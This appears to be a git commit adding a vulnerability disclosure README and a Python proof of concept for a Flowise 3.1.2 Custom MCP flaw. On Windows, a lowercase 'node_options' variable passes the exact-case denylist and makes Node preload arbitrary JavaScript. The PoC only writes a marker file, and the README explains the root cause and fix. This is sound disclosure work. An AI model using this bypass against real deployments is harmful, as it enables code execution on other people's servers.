Upload files to "flowise-mcp-env-case-bypass-poc"

This commit is contained in:
2026-06-29 16:43:50 +00:00
parent e10d48516e
commit f449d3873b
2 changed files with 209 additions and 0 deletions
+108
View File
@@ -0,0 +1,108 @@
# Flowise 3.1.2 Custom MCP Environment Variable Case Bypass PoC
This repository documents and validates an authenticated Windows ACE/RCE-class issue in Flowise `3.1.2` / `flowise-components` `3.1.2`.
Flowise Custom MCP stdio validation blocks dangerous environment variable names such as `NODE_OPTIONS` by exact string comparison. Windows treats environment variable names case-insensitively. A casing variant such as `node_options` passes Flowise validation and is still honored by a spawned Node.js child process as `NODE_OPTIONS`.
## Affected Target
- Product: Flowise
- Version analyzed: `3.1.2`
- Package: `flowise-components@3.1.2`
- Platform impact: Windows Flowise deployments
- Required access: authenticated Flowise session or API-key context that can configure or load a Custom MCP stdio node
## Impact
An authenticated user who can reach Custom MCP stdio configuration can bypass the intended environment denylist and influence Node.js child process startup. When the MCP command is a Node.js process, a lower-case `node_options` entry can preload attacker-chosen JavaScript through Node's startup option handling.
The result is code execution in the Flowise worker/server context on Windows deployments where the Custom MCP path is reachable.
## Source Trace
Relevant source locations in Flowise `3.1.2`:
| File | Behavior |
| --- | --- |
| `packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts` | Parses `mcpServerConfig`, validates it when `CUSTOM_MCP_SECURITY_CHECK` is enabled, and creates `MCPToolkit` with stdio when a command is present |
| `packages/components/nodes/tools/MCP/core.ts` | `MCPToolkit.createClient` passes `serverParams.env` into `StdioClientTransport` |
| `packages/components/nodes/tools/MCP/core.ts` | `validateEnvironmentVariables` denies `PATH`, `LD_LIBRARY_PATH`, `DYLD_LIBRARY_PATH`, and `NODE_OPTIONS` by exact-case comparison |
| `@modelcontextprotocol/sdk/client/stdio.js` | The stdio transport spawns the configured process with the supplied environment |
The vulnerable validation shape is:
```ts
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(...)
}
}
```
On Windows, `node_options` and `NODE_OPTIONS` address the same environment variable slot for the child process, but only the exact uppercase spelling is denied.
## PoC Design
`poc.py` models the relevant Flowise validation and then launches a local Node.js process with `node_options=--require <loader>`. The loader writes a marker file. On Windows, marker creation proves that the lower-case environment variable bypasses exact-case validation and is honored by Node.js as a startup option.
The script also shows the fix shape by comparing the vulnerable exact-case validator to a normalized validator that checks `key.upper()`.
## Requirements
- Python 3.10 or newer
- Node.js available in `PATH` for the canary execution step
- Windows for full child-process behavior reproduction
## Usage
Run the PoC:
```powershell
python poc.py
```
Run with a custom marker path:
```powershell
python poc.py --marker C:\Temp\flowise_marker.txt
```
Expected Windows output shape:
```json
{
"windows": true,
"flowise_style_exact_upper_blocked": true,
"flowise_style_lower_variant_accepted": true,
"normalized_validator_blocks_lower_variant": true,
"node_canary": {
"canary_created": true,
"canary_content": "node_options honored"
},
"finding_reproduced": true
}
```
## Exploit Preconditions
- The deployment runs on Windows.
- Custom MCP stdio support is reachable.
- The attacker has an authenticated/session/API-key path that can influence a Custom MCP node configuration.
- The configured MCP command starts a Node.js child process or another runtime with security-sensitive environment handling.
## Root Cause
The denylist comparison is platform-insensitive. Environment variable names are case-sensitive on many Unix-like systems but case-insensitive on Windows. A security check that compares environment keys by exact string spelling does not enforce the intended policy on Windows.
## Fix Direction
- Normalize environment variable names before comparison on every platform.
- Use platform-aware comparison rules when validating environment keys.
- Prefer an allowlist of safe environment variables for MCP stdio child processes.
- Add Windows-specific regression tests for case variants such as `node_options`, `Node_Options`, and `NoDe_OpTiOnS`.
## Validation Status
The issue was locally validated against `flowise-components@3.1.2`: exact uppercase `NODE_OPTIONS` was blocked, lowercase `node_options` was accepted, and the MCP stdio path created a marker file through Node.js startup option handling.
+101
View File
@@ -0,0 +1,101 @@
import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile
def flowise_style_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def normalized_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key.upper() in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def run_node_canary(marker):
node = shutil.which("node")
if not node:
return {"node_found": False, "canary_created": False}
marker_path = pathlib.Path(marker).resolve()
loader_path = marker_path.with_suffix(".loader.js")
loader_path.write_text(
"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n",
encoding="utf-8",
)
env = os.environ.copy()
env.pop("NODE_OPTIONS", None)
env.pop("node_options", None)
env["node_options"] = f"--require {loader_path}"
env["FLOWISE_POC_MARKER"] = str(marker_path)
if marker_path.exists():
marker_path.unlink()
completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return {
"node_found": True,
"node": node,
"returncode": completed.returncode,
"stderr": completed.stderr.strip(),
"marker": str(marker_path),
"canary_created": marker_path.exists(),
"canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
}
def run(marker):
exact_upper_blocked = False
exact_upper_error = ""
lower_variant_accepted = False
normalized_blocks_lower = False
try:
flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
except ValueError as exc:
exact_upper_blocked = True
exact_upper_error = str(exc)
try:
flowise_style_validate({"node_options": "--require accepted.js"})
lower_variant_accepted = True
except ValueError:
lower_variant_accepted = False
try:
normalized_validate({"node_options": "--require accepted.js"})
except ValueError:
normalized_blocks_lower = True
node_result = run_node_canary(marker)
result = {
"platform": platform.platform(),
"windows": os.name == "nt",
"flowise_style_exact_upper_blocked": exact_upper_blocked,
"flowise_style_exact_upper_error": exact_upper_error,
"flowise_style_lower_variant_accepted": lower_variant_accepted,
"normalized_validator_blocks_lower_variant": normalized_blocks_lower,
"node_canary": node_result,
"finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
}
print(json.dumps(result, indent=2))
return 0 if result["finding_reproduced"] else 1
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
args = parser.parse_args()
raise SystemExit(run(args.marker))
if __name__ == "__main__":
main()